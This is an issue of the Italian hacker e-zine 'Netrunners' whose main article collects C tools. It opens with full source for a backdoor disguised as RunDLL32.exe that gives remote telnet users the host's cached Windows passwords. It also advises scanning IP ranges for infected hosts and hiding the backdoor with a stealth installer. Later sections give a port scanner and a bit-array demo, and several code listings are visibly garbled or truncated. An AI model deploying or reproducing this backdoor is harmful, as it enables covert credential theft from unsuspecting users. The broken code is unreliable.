_______ __ __________ \ \ _____/ |\______ \__ __ ____ ____ ___________ ______ / | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/ / | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \ \____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/(r) 4 0 4 -------------------------------------------------------------------------- FrOm Spp to tHe NeT NumEro NoVe -------------------------------------------------------------------------- Sommario: --------- Editoriale ---------- By Flamer Anche la programmazione ha il suo sgurtz ----------------------- By Master mIRC 5.51 - Prima Parte ----------------------- By Darkman Inetmib1.dll FAQ --------------------- By Devil Le RFC demistificate -------------------- By Buttha =========================================================================================== Editoriale ---------- by Flamer ---------- Bene bene bene... eccoci arrivati al numero 9. Purtroppo (come avrete notato, immagino) ci sono stati un po' di casini durante questa estate... Il numero 8 di netrunners ha creato non pochi problemi, e farlo uscire e' stata una cosa molto lunga e complicata. A proposito... Se qualcuno di voi lo avesse scaricato prima del 5 di ottobre (e deve averlo fatto dalla versione beta del nostro sito, quella preparata con molta cura da erGoline) sappiate che l'articolo di Buttha e' stato malauguratamente tagliato, e solo dopo quella data e' stata messa online la versione definitiva di Netrunners 8, quindi vi consiglio di andare a riscaricarvelo. Faccio tutte le mie scuse a Buttha per questo inconveniente. Altra novita' sta nel fatto che Brigante, che si occupava assieme a me di mettere insieme questa rivista, e' fuori dai giochi per un po', quindi se volete mandare articoli, lamentele o insulti vari per un po' di tempo potrete farlo solo alla mia mail (flamer@freemail.it). Ma diamo un'occhiata a questo numero 9... Avrete notato che ci sono pochi articoli, ma avrete anche notato che le dimensioni della rivista non sono certo ridotte. Questo perche' quasi tutto questo numero e' dedicato a Master, ed al suo interessantissimo (e voluminoso :-) ) articolo sulla programmazione. Poi, come promesso nel numero precedente, abbiamo pubblicato l'articolo "fisso" sul mIRC. Veramente molto interessanti sono le FAQ di Devil sulla sua mitica DLL che tutti dovrebbero conoscere, ovvero la INETMIB1.dll. Infine, ultimo ma non per questo meno importante, Buttha chiarisce un po' di dubbi riguardo alle RFC. La lettura di questo articolo e' consigliata a tutti quei newbies che, dopo aver chiesto da dove iniziare, e dopo che gli hanno risposto con questa strana sigla non ne hanno ben capito il significato. Be'... questo e' tutto. Come...? Cosa dite?... A quando il numero 10??? BOH!!! :-)) -SPP MeMbeR- -=F14m3r=-(r) -SPP MeMbeR- =========================================================================================== -= Master =- SPP - Member www.spippolatori.com ANCHE LA PROGRAMMAZIONE HA IL SUO SGURTZ. Ma cos'e' sta roba??? ... Stavolta invece del solito articolo tecnico ho voluto fare una specie di raccolta di tutte le -richieste- interessanti che mi son state fatte negli ultimi mesi sul ng alt.hackers.cough.cough.cough e che hanno portato alla stesura di un tool in c o in visual basic. Alcune delle cose presentate sotto non hanno a prima vista una diretta attinenza con l'hacking ma io ritengo che non sia cosi: sia nel caso in cui si consideri l'hacking come lo sviluppo a 360 gradi delle capacita' individuali sia nel caso lo si consideri come la capacita' di risolvere nuovi problemi la dove essi ci si presentino davanti in ogni caso l'attinenza c'e'! ;-) Se non riuscite a vederla.. beh .. pazienza. Spero comunque che qualcuno di questi tools possa tornarvi utile per risolvere qualche problema o che perlomeno vi sia di stimolo per imparare qualcosa di nuovo. Sono al 90% piccoli programmi in c standard (alcuni in vb) facili da capire e soprattutto (nello stile che [almeno spero] mi contraddistingue) sono brani di codice veramente minimi. ............................................................................. tutti i programmi spiegati e dettagliati qui di seguito sono scaricabili dalla url www.spippolatori.com/memberspp/master/archivio.ace (400k ca.) .. per chi non dovesse essere ancora in possesso del miglior compressore esistente sulla piazza .. e necessario soprattutto alla scompattazione di archivio.ace www.spippolatori.com/memberspp/master/ace32.exe (180k ca.) ovviamente in versione registrata ;-) per scompattare i file: //------------------------------------------------ ACE32 x archivio.ace //------------------------------------------------ per comprimere un gruppo di file (directory comprese) al livello massimo di compressione ( decisamente migliore anche rispetto a * -> [ tar -cvf archivio.tar * ] | [ gzip -9 archivio.tar ] -> archivio.tar.gz ) //------------------------------------------------ ACE32 a -m5 -d1024 -r nome_archivio.ace *.* //------------------------------------------------ per creare un file autoestraente invece //------------------------------------------------ ACE32 a -m5 -d1024 -r -sfx nome_archivio.ace *.* //------------------------------------------------ per avere un file con l'help dei comandi //------------------------------------------------ ACE32 -? > help.txt //------------------------------------------------ .. da provare assolutamente.. di meglio non c'e'! (UC2 compreso) ............................................................................. Sezione varie: 1. Modello di classic backdoor in c 2. Disinstaller per lo SI2 3. Completo portscan in C con 7 righe di codice sorgente 4. Variabili c a 1 bit. 5. Generazione evoluta di numeri random 6. Come postare una mail anonima col C 7. Sistema per la valutazione di funzioni matematiche composte in c con precompilazione in altro linguaggio completamente nascosta. 8. Ladrone, come grabbare una applicazione esterna in un proprio programma con MDIChild 9. Find file ultrarapido (e applicazione d'esempio) 10. Intercettare chiamate Api sostituendo alle stesse procedure diverse. 11. Time server in c, come linkarsi ad un orologio atomico. 12. Tool per il post cracking rapido. 13. Emulatore di funzioni basic per la gestione delle stringhe in c 14. Togliere i rem da un sorgente vb 15. Creare stereogrammi 3d con poghe righe di c 16. Installare di nascosto nel win.ini un proprio programma per l'autorun 17. automatismo software in c per l'Input/output tramite la porta parallela Sezione -giochi di parole-: 18. Creare un dizionario da un file di testo 19. Permutazioni 20. Parole composte 21. Cifrature / riduzioni di testo da vocabolari bilanciati / firma caratteristica 22. Anagrammi / contrari / parole palindromiche 23. Aiuta Riddle. ;-) XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 1 Modello di classic backdoor in c: //--------------------------------------------------------------------------------------------------- Il programma e' di semplice utilizzo: Chiamando: RunDLL32 sel server remoto desiderato si aprira' una shell alla quale sara' possibile accedere successivamente tramite telnet. TELNET Per trovare l'ip nel caso si sia installata la backdoor su un server a indirizzo dinamico sara' sufficiente fare un portscan sulla porta settata. Il reply sara' la frase "Sono pronto:". ..qualunque portscan andra' bene. E' possibile il collegamento in contemporanea di 10 utenti. (aumentabili a piacere) L'unico comando a disposizione (oltre al "quit" per sconnettersi) e' "password" (tutto in minuscolo) .. da qui il sottotitolo -Classic- ;-) (Una volta non c'erano tanti fronzoli .. si tirava a far ciccia. ;-) ) Eseguendo il comando password su telnet si avra' la lista completa ed in chiaro delle password salvate nella chace esattamente come fa (solo in locale) Dripper (il tool specifico del progetto Aggressor) Le password segnate con Rna saranno le password delle connessioni e si presenteranno all'incirca cosi': 1. Account -> Cache(3) 2. USER -> *Rna\Tiscali\PIPPO 3. PASSW -> aEr%7399Tis la riga uno identifica la posizione della password nella cache. la riga due da il nome del provider utilizzato e lo USER per il login. la riga tre e' la password di connessione vera e propria. Le password di altro tipo, posta, gestione siti web, siti porno, ecc.. invece si presenteranno cosi': 1. Password -> Cache(2) 2. URL -> www2.fortunecity.com/fortunecity/member 3. USER:PASS -> PIPPO:spippolini La riga uno e' relativa ancora alla posizione nella cache. La riga due in questo caso rappresenta l'indirizzo del server sul quale sono attive le password. La riga tre sono i due parametri necessari al login USER : PASSWORD. Ps.. il programma non si installa nei servizi di autorun del registro di configurazione ma volendolo proprio fare un impegno di livello elementare con lo Stealth Installer 2 potrebbe dare anche ai meno pratici risultati piu' che soddisfacenti. ;-) Cmq lo scopo del tool e' tutt'altro almeno per quanto mi riguarda. Vorrei che fosse inteso non come uno strumento per procurare del danno a qualcuno ma semplicemente come una scusa per imparare qualcosa in piu' relativamente al linguaggio C++, sull'uso del winsock e sull'uso delle procedure non documentate dalla Microsoft. Per questo infatti accludo anche il sorgente completo. Io ho usato il compilatore che preferisco ..il Borland C++ 5.. ma nessuno vieta che lo stesso programma data la sua estrema semplciita' possa essere ricompilato con il Visual C o una qualunque alta variante del C++ 32bit. Gli unici due file utili sono RunDLL32.cpp e supporto.c ... come funziona? ..e' semplicissimo (spero) :)) Intanto cominciamo con la struttura del programma in quanto tale. E' formato da due parti.. una libreria con le procedure standard per l'inizializzazione del winsock, la terminazione, la conversione da ip letterale in forma canonica, ecc.. E il programma principale. [ Nel sorgente "originale" avevo messo tutte le cose che trovate attualmente nel tutorial backdoor TIVEDO (che ho poi pubblicato in VB) .. qui le ho volutamente eliminate per i motivi sopra elencati. ] ho chiamato la libreria supporto.c ed e' una libreria ricavata/aggiornata/modificata da un insieme di procedure gia a suo tempo pubblicate su un paio di ng c++ related.. alcune procedure sono simili in tutto e per tutto alle equivalenti contenute nel winsock.bas per visual basic. [ qui sotto ci sono solo le 3 procedure elementari che servivano al programma mentre invece nel file archivio.ace trovate la libreria completa. ] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: supporto.c ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include typedef unsigned int pid_t; #define CLEAR_ADDR(addr) memset(addr,0,sizeof(struct sockaddr_in)) int sockInit(void){ WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD(2,0); return WSAStartup( wVersionRequested, &wsaData ); } int sockName(struct sockaddr_in *name,char *hostname,char *hostaddr){ struct hostent *hp; hp = NULL; hp=gethostbyaddr((char *) &(name->sin_addr),sizeof(name->sin_addr),AF_INET); if(hp==NULL) return 1; strcpy(hostname,hp->h_name); sprintf(hostaddr,"%d.%d.%d.%d",hp->h_addr_list[0][0],hp->h_addr_list[0][1], hp->h_addr_list[0][2],hp->h_addr_list[0][3]); return 0; } int sockEnd(void){ return WSACleanup();} ///////////////////////////////////////////////////////////////////////////////////////// ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: il programma vero e proprio: BACKDOOR RunDLL32.exe ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include "supporto.c" #define Lungo 128 #define Dimens 256 #define API LoadLibrary("mpr.dll") #define FUNC "WNetEnumCachedPasswords" char *s1,*s2,*b1,*b2,dati[256]; int n = 0; FILE *fp; typedef struct tagcache { WORD a,user,passw; BYTE b,c,inizio[1]; } cache; INT CALLBACK TrovaPassword(cache *BIT, DWORD); void controlla(void *sock); void pass(); // ------------------------------ PROCEDURA INIZIALE // ------------------------------------------------------------------ WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { int argc=_argc; char **argv=_argv; SOCKET s; struct hostent *hp; struct sockaddr_in any_addr; struct sockaddr_in remote_addr; int addrlen; SOCKET ss; s=INVALID_SOCKET; hp=NULL; CLEAR_ADDR(&any_addr); CLEAR_ADDR(&remote_addr); addrlen=sizeof(struct sockaddr_in); if(argc != 2) { printf("Sintassi: %s porta\n",argv[0]); return 0;} sockInit(); any_addr.sin_family=AF_INET; any_addr.sin_port=htons( (unsigned short) atoi(argv[1])); any_addr.sin_addr.s_addr=htonl ( INADDR_ANY ); s = socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) {sockEnd();return 2;} if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in))) {sockEnd();return 3;} listen(s,10); while(true){ ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen); if(_beginthread(controlla,0,(void *) &ss)==-1){ perror("_beginthread");break;}} sockEnd();return 0;} // ------------------------------------------------------------------ // ------------------------------ CONTROLLA ED ESEGUE I COMANDI // ------------------------------------------------------------------ void controlla(void *sock){ SOCKET ss; pid_t pid; char msg[Dimens],remotename[128],remoteaddr[128],buffer[Lungo]; int addrlen,rec; struct sockaddr_in remote_addr; ss=*((SOCKET *) sock); addrlen=sizeof(struct sockaddr_in); pid=GetCurrentThreadId(); memset(buffer,0,Lungo); memset(msg,0,Dimens); sprintf(buffer,"Sono pronto:"); if(send(ss,buffer,strlen(buffer),0)<=0) return; CLEAR_ADDR(&remote_addr); getpeername(ss,(struct sockaddr *) &remote_addr,&addrlen); sockName(&remote_addr,remotename,remoteaddr); do{rec=recv(ss,buffer,Lungo,0); if(rec<=0){printf("Ciao.\r\n");break;} buffer[rec]=0; strcat(msg,buffer); if(buffer[strlen(buffer)-1]=='\n'){ send(ss,"Ricevuto: ",10,0); send(ss,msg,strlen(msg),0); // COMANDO: password -> per avere la lista delle cached password if(strncmp(msg,"password",8)==0){ pass(); fp=fopen("out","rb"); strcpy(dati,"\r\n"); send(ss,dati,strlen(dati),0); while(!feof(fp)){ fgets(dati,255,fp); strcat(dati,"\r\n"); send(ss,dati,strlen(dati),0);} fclose(fp); remove("out");} // COMANDO: quit -> per uscire if(strncmp(msg,"quit",4)==0){ strcpy(buffer,"Ciao.\r\n"); send(ss,buffer,strlen(buffer),0);break;} memset(msg,0,Dimens); memset(buffer,0,Lungo);} }while(1); closesocket(ss);} // ------------------------------------------------------------------ // ------------------------------ TROVA PASSWORD // ------------------------------------------------------------------ void pass(){ HINSTANCE k = API; s1 = b1 = new char[1024]; s2 = b2 = new char[1024]; fp=fopen("out","wb"); fprintf(fp,"RISULTATO :\n"); fprintf(fp,"----------\n"); WORD(__stdcall *chiama)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD(__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD)) GetProcAddress(k, FUNC); (*chiama)(0,0, 0xff, TrovaPassword, 0); if (n==0) fprintf(fp,"Non ci sono password salvate nella cache.\n"); else fprintf(fp,"Trovate %d cached password.",n); FreeLibrary(k); fclose(fp);} // ------------------------------------------------------------------ // ------------------------------ ENUMERA TUTTE lE PASSWORD // ------------------------------------------------------------------ INT CALLBACK TrovaPassword(cache *BIT, DWORD){ memmove(s1, BIT->inizio, BIT->user); memmove(s2, BIT->inizio+BIT->user, BIT->passw); s1[BIT->user] = s2[BIT->passw] = 0; CharToOem(s1,b1);CharToOem(s2,b2); if (strstr(s1,"Rna")){ fprintf(fp,"Account -> Cache(%d)\n", n); fprintf(fp,"USER -> %-30s\n", b1); fprintf(fp,"PASSW -> %s\n", b2);} else{ fprintf(fp,"Password -> Cache(%d)\n",n); fprintf(fp,"URL -> %-30s\n", b1); fprintf(fp,"USER:PASS -> %s\n", b2);} fprintf(fp,"----------\n");n++; return(n);} // ------------------------------------------------------------------ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: e' composto sostanzialmente da 3 moduli: 1. il server: si installa in memoria sulla porta dichiarata come parametro iniziale grazie al listen. s = socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) {sockEnd();return 2;} if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in))) {sockEnd();return 3;} listen(s,10); cambiando la riga listen(s,10) in listen(s,30) ovviamente si accettano in ingresso 30 utenti invece di 10. 2. il motore di interpretazione delle stringhe ricevute dal client (telnet) if(rec<=0){printf("Ciao.\r\n");break;} buffer[rec]=0; strcat(msg,buffer); if(buffer[strlen(buffer)-1]=='\n'){ send(ss,"Ricevuto: ",10,0); send(ss,msg,strlen(msg),0); // COMANDO: password -> per avere la lista delle cached password if(strncmp(msg,"password",8)==0){ pass(); fp=fopen("out","rb"); strcpy(dati,"\r\n"); send(ss,dati,strlen(dati),0); while(!feof(fp)){ fgets(dati,255,fp); strcat(dati,"\r\n"); send(ss,dati,strlen(dati),0);} fclose(fp); remove("out");} // COMANDO: quit -> per uscire if(strncmp(msg,"quit",4)==0){ strcpy(buffer,"Ciao.\r\n"); send(ss,buffer,strlen(buffer),0);break;} Replica Ciao! al client all'atto della connessione. Questo potrebbe sembrare solo un vezzo invece e' una cosa importante. Una risposta canonica all'atto della connessione e' necessaria per darci la possibilita' di rintracciare l'utente tramite il suo ip dinamico. Facendo infatti una scansione sulla porta da noi scelta di tutti gli ip relativi alla classe c che vorremo controllare sapremo che la nostra backdoor sara' installata la dove riceveremo ciao! come risposta. (Ovviamente e' possibile cambiare ciao con qualunque altra cosa! :)) ) i due if a seguire controllano se la stringa iviata al client contiene le parole PASSWORD o QUIT Nel prima caso esegue la procedura per il recupero delle cached password e il successivo invio al client per la visualizzazione e la registrazione, nel secondo viene terminata la connessione. 3. la procedura per il recupero delle password. E' una cosa standard e abbastanza nota. Sfrutta la funzione WNetEnumCachedPasswords della libreria Microsoft mpr.dll che si occupa della decifrazione. la api non documentata WNetEnumCachePassword una volta chiamata colloca in una struttura definita come typedef struct tagcache { WORD a; WORD user; WORD passw; BYTE b, BYTE c, BYTE inizio[1]; } cache; recupera enumerativamente tutte le password precedentemente salvate spuntando l'apposita casella -salva password-. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 1 Disinstaller per lo SI2 //--------------------------------------------------------------------------------------------------- Mi era stato chiesto da Nick1 .. ed eccolo qui. ;-) Il disinstaller. Cosa fa? .. praticamente prende una installazione dello Stealth Installer 2 (ma dovrebbe funzionare anche con la versione 1) ed estrae decrittandoli tutti i programmi in essa contenuti senza farli partire e senza eseguire gli script. Ovviamente scompatta anche gli script allegati ripristinando per ognuno il nome originale. I piu' arguti noteranno che e' un cole dello stealth installer due carente delle funzioni di esecuzione e di elaborazione degli script .. unica differenza e' l'interfaccia di utilizzo che in questo caso e' vincolata alla linea di comando. per disinstallare una installazione pippo.exe .. bisogna chiamare DISI2 pippo.exe .. e' fa tutto da solo. ;-) il programma: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include #include #include #include char *nfile,*kfile; long int trovaparti=0; long int trovainizio(char indicatore,long int comincia); long int trovafinefile(void); void trovanome(char *vari,long int a,long int b); char *riduci(char *pippo); int str1,str2; int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,LPSTR lpCmdLine, int nCmdShow) { long int seco,a=0,un,du,tr,k=1; char *nome=" "; FILE *ricrea,*fp,*sp1,*sp2,*reg; long int kop,j,s,inizio,fine,esegui; int dop,tr1,nf=_argc; char **file=_argv; struct ffblk ffblk; int trovato; if(nf<=1){MessageBox(NULL,"sintassi: DISI2 installazione.exe","ERRORE:",16);exit(0);} if(vedi(file[1])<0){MessageBox(NULL,"FILE NON TROVATO!","ERRORE:",16);exit(0);} nfile=file[1]; un=a; su: a=trovainizio('I',un+1);un=a; a=trovainizio('F',un+1);du=a; trovanome(nome,un+4,du); a=trovainizio('I',un+1);tr=a; if(strlen(nome)>0) { /* printf(" Programma %ld <%s> Da=%ld A=%ld\n",k,nome,du+4,tr-1); */ inizio=du+4; fine=tr-1; ricrea=fopen(riduci(nome),"wb"); fp=fopen(nfile,"rb"); fseek(fp,inizio,0); srand(666); for(s=inizio;s=0)return 1; else return -1; } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 3. Completo portscan in C con 10 righe di codice //--------------------------------------------------------------------------------------------------- Portscan. Azz com'e' difficile fare un portscan!! .. chissa' che abilita' programmatoria serve!? ..he he .. e invece no! .. e' come fare un telnet, forse e' uno dei programmi piu' semplici in assoluto. come funziona? cosi' : si apre un socket, si cerca di connettersi alla porta x di un ip remoto, se non ci si riesce (ovvero se il connect del winsock da errore) la porta non e' aperta, viceversa e' un servizio attivo e quindi si stampa a video il valore x. (Si potrebbe anche tentare di ricevere dei dati col receive per avere gli head notes del servizio volendo ) Creandosi un ciclo per x dalla porta a alla porta b prendendo cura di chiudere il socket aperto prima della connessione sia nel caso questa abbia esito positivo sia nel caso abbia esito contrario avremo fatto il nostro portscan. la procedura per il portscan e' tutta qui: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: int ScanPort(char *ip, int inizio, int fine) { struct sockaddr_in dati; int sock,n; unsigned long uin; printf("Eseguo la scansione delle porte.\n"); for (n=inizio;n<=fine;++n) { if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){ printf("Errore: Impossibile connettersi.\n");return -1;} dati.sin_family = AF_INET; dati.sin_addr.s_addr = inet_addr(ip); dati.sin_port = htons(n); if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1) printf("%s : %d\n",ip,n); closesocket(sock); } printf("\n");return -1;} ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ovviamente trattandosi di windows e' necessario prima inizializzare il winsock. un esempio di portscan semplice e funzionante relativo all'uso della procedura sopra riportata potrebbe essere questo Portscan: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include int ScanPort(char *ip, int inizio, int fine) { struct sockaddr_in dati; int sock,n; unsigned long uin; printf("Eseguo la scansione delle porte.\n"); for (n=inizio;n<=fine;++n) { if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){ printf("Errore: Impossibile connettersi.\n");return -1;} dati.sin_family = AF_INET; dati.sin_addr.s_addr = inet_addr(ip); dati.sin_port = htons(n); if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1) printf("%s : %d\n",ip,n); closesocket(sock); } printf("\n");return -1;} //-------------------------------------------------------------------------------- void main(int argc, char *argv[]) { struct sockaddr_in sin; int sock,x,y,Port; unsigned long uin; long upf; WORD wVersionRequested; WSADATA wsaData; wVersionRequested=MAKEWORD(2,0); y=WSAStartup(wVersionRequested,&wsaData); printf("%d",y); Port=ScanPort(argv[1],atoi(argv[2]),atoi(argv[3])); WSACleanup(); exit(0); } //-------------------------------------------------------------------------------- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: facile no!? ;-) gli unici parametri da settare nella procedura sono porscan ( IP-DI-PARTENZA , porta iniziale , porta finale ) ..il programma in effetti sarebbe solo questo: for(n=inizio;n<=fine;++n){ dati.sin_family = AF_INET; dati.sin_addr.s_addr = inet_addr(ip); dati.sin_port = htons(n); if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1) printf("%s : %d\n",ip,n); closesocket(sock);} (e sono le famose 7 righe essenziali) ;-) come detto sopra, col for si esegue il ciclo per la verifica delle porte da quella iniziale (inizio) a quella finale (fine). Di seguito la procedura apre un socket e cerca di connettersi ad una porta n (variabile ciclica del for). Se ci riesce stampa n e/o in caso contrario chiude il socket e ne apre un altro per la porta successiva. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 4. Variabili c a 1 bit. //--------------------------------------------------------------------------------------------------- Richiesto da hal9000 su alt.hackers >ma e' facile!! .. il c ha le variabile boolean che sono.. beh ..mica vero! .. sono tutte variabili a un byte minimo. Non esiste un linguaggio di programmazione con variabili ad un bit. Il minimo e' sempre un byte (8 bit). Char == unsigned char == byte (pascal) == boolean == bool == 1 BYTE! ..8 bit. >e allora come si fa ad ottenere uan variabile a 1 bit col C.. non mi dire che e' impossibile! non e' impossibile! ;-) Il tutto sta ad usare un byte come vettore di bit piuttosto che come recipiente per una variabile di tipo predefinito. facciamo un esempio pratico: devo memorizzare otto stati di altrettanti interruttori elettronici: 0 == acceso, 1 == spento (tanto per essere originale! ;-)) nel byte ogni bit sara' lo stato di un interruttore 00000001 = solo l'interruttore 1 spento 11000001 = spenti gli interruttori 8,7 e 1 ecc.. il c ha delle eccellenti funzioni per la verifica e il settaggio bit per bit di un byte: le funzioni logiche bitwise, lo shift register, il logic and operator, ecc.. ma lo shift ofre le migliori prospettive sia per la sua velocita' che per la flessibilita' di utlizzo infatti cosi' come in logica tramite la negazione ed una qualsiasi altra operazione e' possibile replicare tutte le altre cosi' nelle operazioni logiche su i bit tramite il semplice utilizzo dello shift register e' possible -emulare- qualsiasi altro tipo di operazione. un esempio ancora piu' pratico. Abbiamo sullo schermo una immagine in risoluzione 100x100 (e' solo per fare un esempio) in b/w nonostante la risoluzione in colori decisamente piu alta. Normalmente la dimensione della memoria occupata dal nostro schermo sara', senza considerare compressioni di sorta, di: 100x100x16 con risoluzione a 16 colori = 20kbit/c = 5kb (in un byte si memorizzano 2 gruppi di 16 colori) 100x100x256 256 = 2.56Mbit/c = 10kb (in un byte si memorizza 1 gruppo di 256 colori) 100x100x65536 65536 = 655.45Mbit/c = 20kb (servono 2 bytes per memorizzare 65536 colori) ecc.. potendo memorizzare in un byte gli stati di 8 pixel dello schermo ridurremmo la dimensione della memoria occupata a soli 100x100/8 = 1.25kb (un colore b/w per bit) .. e' piu' evidente il guadagno con uno schermo di 640x480 schermo 640x480 16 col 4bit x 1byte variabile di char array = 153k 256 8bit x 1byte = 307k 65536 8bit x 2bytes = 614k schermo 640x480 2 col 8bit x 1byte variabile di char array = 38k .. passando alla pratica, il sistema per poter utilizzare queste variabili a 1 byte e' abbastanza semplice. Il primo passo tenuto conto che abbiamo a disposizione solo variabili a 1 byte minime e' quello di formalizzare una matrice di valori BIT di dimensione 8 x N facciamo l'esempio con uno schermo di prova 27x5 100000000000000000000000000 100000000111100000000000000 000000000111100000000000000 000000000000000000000000000 000000000000000000000000000 in matrice 8 x n verra' idealmente convertito come 10000000 00000000 00000000 00010000 00001111 00000000 00000000 00000001 11100000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000... il numero matriciale del BIT n sara' identificato dalle coordinate X = int(n/8) ..oppure.. n/8 (con X e n interi) Y = 8*(n/8-int(n/8)) ..oppure.. n % 8 dove X rappresenta la coordina verticale dei Bytes e Y i BIT relativi a ciascun byte. Sara' allora facile settare ogni singolo bit di un byte specifico facendo l'or bitwise del byte X con un 1 shiftato a sinistra tanti posti quanti Y cosi': X | 1 << Y la procedura per fare questo in pratica e' la seguente: metti(char a[],long n,int v) { long int nu=n/8,po=n%8; if(v)a[nu]=a[nu]|1<0); } .. e dato che la spiegazione e' stata leggermente pallosa questo e' un esempietto pratico per l'utilizzo che segue la vecchia teoria per la quale -veder come si fa val piu' che parlarne troppo.- ;-) Il programma e' per dos, viene creato uno schermo b/w in modalita' EGA di 640x200 pixel che normalmente occuperebbe in memoria i nostri bei 128Kbytes dovendolo salvare in un formato tipo BMP o TIF non compressi. Viene poi salvato lo schermo in memoria caricandolo in un array char di soli 16k per poi cancellarlo e rivisualizzarlo estraendolo tramite la funzione "leggi" sopra riportata. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: BITTBOOL.c ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include char leggi(char a[],long int n); main() { long int n,m; int x,y; char a[16106]={0}; int gdriver = EGA, gmode=0, errorcode; initgraph(&gdriver, &gmode, ""); for(n=0;n<=100;n++) circle(random(640),random(200),random(100)+50); printf("Inizio a salvare e memorizzo anche questa scritta\n"); n=0; for(y=0;y<=200;y++) for(x=0;x<=640;x++) { m=getpixel(x,y); if(m>0)m=1; metti(&a,n++,m); } printf("Premi enter"); getch(); cleardevice(); printf("\nPremendo enter repristino la schermata salvata bitbool"); printf("\n Schermo monocromatico ega 640x200 [ 128k ] "); printf("\n salvato con un array di [ 16k (16106=((640+1)*(200+1))/8 ]"); getch(); n=0; for(y=0;y<=200;y++) for(x=0;x<=640;x++) { m=leggi(&a,n++); putpixel(x,y,m*15); } getch(); } metti(char a[],long n,int v) { long int nu=n/8,po=n%8; if(v)a[nu]=a[nu]|1<0); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 